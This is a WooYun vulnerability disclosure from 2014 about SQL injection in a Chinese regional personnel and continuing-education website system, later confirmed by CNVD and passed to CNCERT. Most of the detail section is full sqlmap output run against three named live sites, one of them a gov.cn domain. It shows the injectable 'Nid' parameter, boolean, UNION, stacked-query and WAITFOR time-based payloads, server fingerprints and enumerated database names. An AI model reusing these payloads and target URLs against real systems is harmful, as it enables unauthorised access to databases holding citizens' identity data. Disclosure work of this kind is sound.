当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062712

漏洞标题:某人事网系统多处sql注入(这个系统注册跟登录是需要身份证跟名字的,影响多大你懂的!!)

相关厂商:某人事网系统

漏洞作者: Mosuan

提交时间:2014-05-29 17:46

修复时间:2014-08-27 17:48

公开时间:2014-08-27 17:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-29: 细节已通知厂商并且等待厂商处理中
2014-06-03: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向第三方安全合作伙伴开放
2014-07-28: 细节向核心白帽子及相关领域专家公开
2014-08-07: 细节向普通白帽子公开
2014-08-17: 细节向实习白帽子公开
2014-08-27: 细节向公众公开

简要描述:

呵呵

详细说明:

1.审核人员不要以为不是gov.cn就不是政府网站,很多人事网都不是gov.cn结尾的
2.这个系统注册和登录是需要身份证跟姓名的(影响有多大你们懂的!!)
3.一般人事网涉及到很多公务员的信息,建议交给cnvd处理,你等着厂商来确认?他会来确认吗?公布之后被坏人利用是谁的错?
4.上面说的都是废话,弱弱的问句这个洞能上前台了吧?
5.这个洞是我看 WooYun: 扬州市人事考试网分站一处sql注入(sa权限可拿webshell且发现木马) 这里发现的,也是我发的一个洞。
6.具体的注入点很多,下文只拿一处做演示
=========================邪恶分割线===============================

http://www.txrsks.gov.cn/news_view.jsp?Nid=10
http://www.xzjxjy.com/news_view.jsp?Nid=10
http://jxjy.yzrsks.com/news_view.jsp?Nid=59
http://jxjy.harsks.com/news_view.jsp?Nid=10


注入地址:http://jxjy.harsks.com/news_view.jsp?Nid=10
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:41:59
[00:41:59] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\jxjy.harsks.com\session' as session file
[00:41:59] [INFO] testing connection to the target url
[00:41:59] [INFO] heuristics detected web page charset 'GB2312'
[00:41:59] [INFO] testing if the url is stable, wait a few seconds
[00:42:00] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:42:02] [INFO] testing if GET parameter 'Nid' is dynamic
[00:42:02] [INFO] confirming that GET parameter 'Nid' is dynamic
[00:42:02] [INFO] GET parameter 'Nid' is dynamic
[00:42:02] [WARNING] heuristic test shows that GET parameter 'Nid' might not be
injectable
[00:42:02] [INFO] testing sql injection on GET parameter 'Nid'
[00:42:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:42:02] [INFO] GET parameter 'Nid' is 'AND boolean-based blind - WHERE or HAV
ING clause' injectable
[00:42:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:42:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:42:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:42:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:42:03] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:42:03] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:42:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:42:34] [INFO] GET parameter 'Nid' is 'Microsoft SQL Server/Sybase stacked qu
eries' injectable
[00:42:34] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:42:34] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:42:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:43:05] [INFO] GET parameter 'Nid' is 'Microsoft SQL Server/Sybase time-based
blind' injectable
[00:43:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:43:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:43:10] [INFO] target url appears to be UNION injectable with 6 columns
[00:43:13] [INFO] GET parameter 'Nid' is 'Generic UNION query (NULL) - 1 to 10 c
olumns' injectable
GET parameter 'Nid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 51 HTTP(s) requ
ests:
---
Place: GET
Parameter: Nid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Nid=10 AND 2750=2750
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: Nid=-5054 UNION SELECT NULL, NULL, NULL, CHAR(58)+CHAR(111)+CHAR(11
7)+CHAR(111)+CHAR(58)+CHAR(118)+CHAR(79)+CHAR(66)+CHAR(119)+CHAR(75)+CHAR(66)+CH
AR(81)+CHAR(65)+CHAR(117)+CHAR(88)+CHAR(58)+CHAR(100)+CHAR(117)+CHAR(112)+CHAR(5
8), NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Nid=10; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Nid=10 WAITFOR DELAY '0:0:5'--
---
[00:43:15] [INFO] testing MySQL
[00:43:15] [WARNING] the back-end DBMS is not MySQL
[00:43:15] [INFO] testing Oracle
[00:43:16] [WARNING] the back-end DBMS is not Oracle
[00:43:16] [INFO] testing PostgreSQL
[00:43:16] [WARNING] the back-end DBMS is not PostgreSQL
[00:43:16] [INFO] testing Microsoft SQL Server
[00:43:16] [INFO] confirming Microsoft SQL Server
[00:43:17] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, JSP
back-end DBMS: Microsoft SQL Server 2005
[00:43:17] [INFO] fetching database names
[00:43:17] [INFO] the SQL query used returns 5 entries
[00:43:18] [INFO] retrieved: "ha_learning"
[00:43:18] [INFO] retrieved: "master"
[00:43:19] [INFO] retrieved: "model"
[00:43:19] [INFO] retrieved: "msdb"
[00:43:19] [INFO] retrieved: "tempdb"
available databases [5]:
[*] ha_learning
[*] master
[*] model
[*] msdb
[*] tempdb
[00:43:19] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 39 times
[00:43:19] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\jxjy.harsks.com'


注入地址:http://www.xzjxjy.com/news_view.jsp?Nid=10
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:36:48
[00:36:48] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.xzjxjy.com\session' as session file
[00:36:48] [INFO] testing connection to the target url
[00:36:48] [INFO] heuristics detected web page charset 'GB2312'
[00:36:48] [INFO] testing if the url is stable, wait a few seconds
[00:36:50] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:36:51] [INFO] testing if GET parameter 'Nid' is dynamic
[00:36:51] [INFO] confirming that GET parameter 'Nid' is dynamic
[00:36:51] [INFO] GET parameter 'Nid' is dynamic
[00:36:52] [WARNING] heuristic test shows that GET parameter 'Nid' might not be
injectable
[00:36:52] [INFO] testing sql injection on GET parameter 'Nid'
[00:36:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:36:52] [INFO] GET parameter 'Nid' is 'AND boolean-based blind - WHERE or HAV
ING clause' injectable
[00:36:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:36:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:36:53] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:36:53] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:36:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:36:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:36:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:37:24] [INFO] GET parameter 'Nid' is 'Microsoft SQL Server/Sybase stacked qu
eries' injectable
[00:37:24] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:37:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:37:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:37:55] [INFO] GET parameter 'Nid' is 'Microsoft SQL Server/Sybase time-based
blind' injectable
[00:37:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:37:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:37:59] [INFO] target url appears to be UNION injectable with 6 columns
[00:38:01] [INFO] GET parameter 'Nid' is 'Generic UNION query (NULL) - 1 to 10 c
olumns' injectable
GET parameter 'Nid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 50 HTTP(s) requ
ests:
---
Place: GET
Parameter: Nid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Nid=10 AND 4234=4234
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: Nid=-4672 UNION SELECT NULL, CHAR(58)+CHAR(97)+CHAR(112)+CHAR(121)+
CHAR(58)+CHAR(115)+CHAR(87)+CHAR(85)+CHAR(100)+CHAR(81)+CHAR(70)+CHAR(119)+CHAR(
84)+CHAR(83)+CHAR(114)+CHAR(58)+CHAR(118)+CHAR(110)+CHAR(110)+CHAR(58), NULL, NU
LL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Nid=10; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Nid=10 WAITFOR DELAY '0:0:5'--
---
[00:38:03] [INFO] testing MySQL
[00:38:03] [WARNING] the back-end DBMS is not MySQL
[00:38:03] [INFO] testing Oracle
[00:38:03] [WARNING] the back-end DBMS is not Oracle
[00:38:03] [INFO] testing PostgreSQL
[00:38:04] [WARNING] the back-end DBMS is not PostgreSQL
[00:38:04] [INFO] testing Microsoft SQL Server
[00:38:04] [INFO] confirming Microsoft SQL Server
[00:38:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, JSP
back-end DBMS: Microsoft SQL Server 2005
[00:38:05] [INFO] fetching database names
[00:38:05] [INFO] the SQL query used returns 7 entries
[00:38:06] [INFO] retrieved: "jml"
[00:38:06] [INFO] retrieved: "master"
[00:38:06] [INFO] retrieved: "model"
[00:38:07] [INFO] retrieved: "msdb"
[00:38:07] [INFO] retrieved: "tempdb"
[00:38:07] [INFO] retrieved: "xz_learning"
[00:38:08] [INFO] retrieved: "xzgwy"
available databases [7]:
[*] jml
[*] master
[*] model
[*] msdb
[*] tempdb
[*] xz_learning
[*] xzgwy
[00:38:08] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 39 times
[00:38:08] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.xzjxjy.com'


注入地址:http://www.txrsks.gov.cn/news_view.jsp?Nid=10
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:26:29
[00:26:29] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.txrsks.gov.cn\session' as session file
[00:26:29] [INFO] testing connection to the target url
[00:26:29] [INFO] heuristics detected web page charset 'GB2312'
[00:26:29] [INFO] testing if the url is stable, wait a few seconds
[00:26:30] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:26:32] [INFO] testing if GET parameter 'Nid' is dynamic
[00:26:32] [INFO] confirming that GET parameter 'Nid' is dynamic
[00:26:32] [INFO] GET parameter 'Nid' is dynamic
[00:26:32] [WARNING] heuristic test shows that GET parameter 'Nid' might not be
injectable
[00:26:32] [INFO] testing sql injection on GET parameter 'Nid'
[00:26:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:26:32] [INFO] GET parameter 'Nid' is 'AND boolean-based blind - WHERE or HAV
ING clause' injectable
[00:26:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:26:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:26:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:26:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:26:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:26:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:26:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:27:04] [INFO] GET parameter 'Nid' is 'Microsoft SQL Server/Sybase stacked qu
eries' injectable
[00:27:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:27:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:27:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:27:34] [INFO] GET parameter 'Nid' is 'Microsoft SQL Server/Sybase time-based
blind' injectable
[00:27:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:27:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:27:37] [INFO] target url appears to be UNION injectable with 6 columns
[00:27:39] [INFO] GET parameter 'Nid' is 'Generic UNION query (NULL) - 1 to 10 c
olumns' injectable
GET parameter 'Nid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 51 HTTP(s) requ
ests:
---
Place: GET
Parameter: Nid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Nid=10 AND 2695=2695
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: Nid=-8849 UNION SELECT NULL, NULL, NULL, CHAR(58)+CHAR(102)+CHAR(98
)+CHAR(121)+CHAR(58)+CHAR(119)+CHAR(97)+CHAR(68)+CHAR(116)+CHAR(122)+CHAR(118)+C
HAR(65)+CHAR(69)+CHAR(85)+CHAR(97)+CHAR(58)+CHAR(98)+CHAR(109)+CHAR(111)+CHAR(58
), NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Nid=10; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Nid=10 WAITFOR DELAY '0:0:5'--
---
[00:27:59] [INFO] testing MySQL
[00:28:00] [WARNING] the back-end DBMS is not MySQL
[00:28:00] [INFO] testing Oracle
[00:28:00] [WARNING] the back-end DBMS is not Oracle
[00:28:00] [INFO] testing PostgreSQL
[00:28:00] [WARNING] the back-end DBMS is not PostgreSQL
[00:28:00] [INFO] testing Microsoft SQL Server
[00:28:00] [INFO] confirming Microsoft SQL Server
[00:28:01] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
[00:28:01] [INFO] fetching database names
[00:28:01] [INFO] the SQL query used returns 7 entries
[00:28:02] [INFO] retrieved: "master"
[00:28:02] [INFO] retrieved: "model"
[00:28:02] [INFO] retrieved: "msdb"
[00:28:02] [INFO] retrieved: "ReportServer"
[00:28:03] [INFO] retrieved: "ReportServerTempDB"
[00:28:03] [INFO] retrieved: "taixing_learning"
[00:28:03] [INFO] retrieved: "tempdb"
available databases [7]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] taixing_learning
[*] tempdb
[00:28:03] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 38 times
[00:28:03] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.txrsks.gov.cn'


漏洞证明:

呵呵

修复方案:

你们懂的

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-03 11:19

厂商回复:

CNVD确认并复现所述多个实例情况,已经转由CNCERT将所述案例全部下发给江苏分中心,由其后续协调当地网站管理单位处置。按多个案例进行评分,rank 15

最新状态:

暂无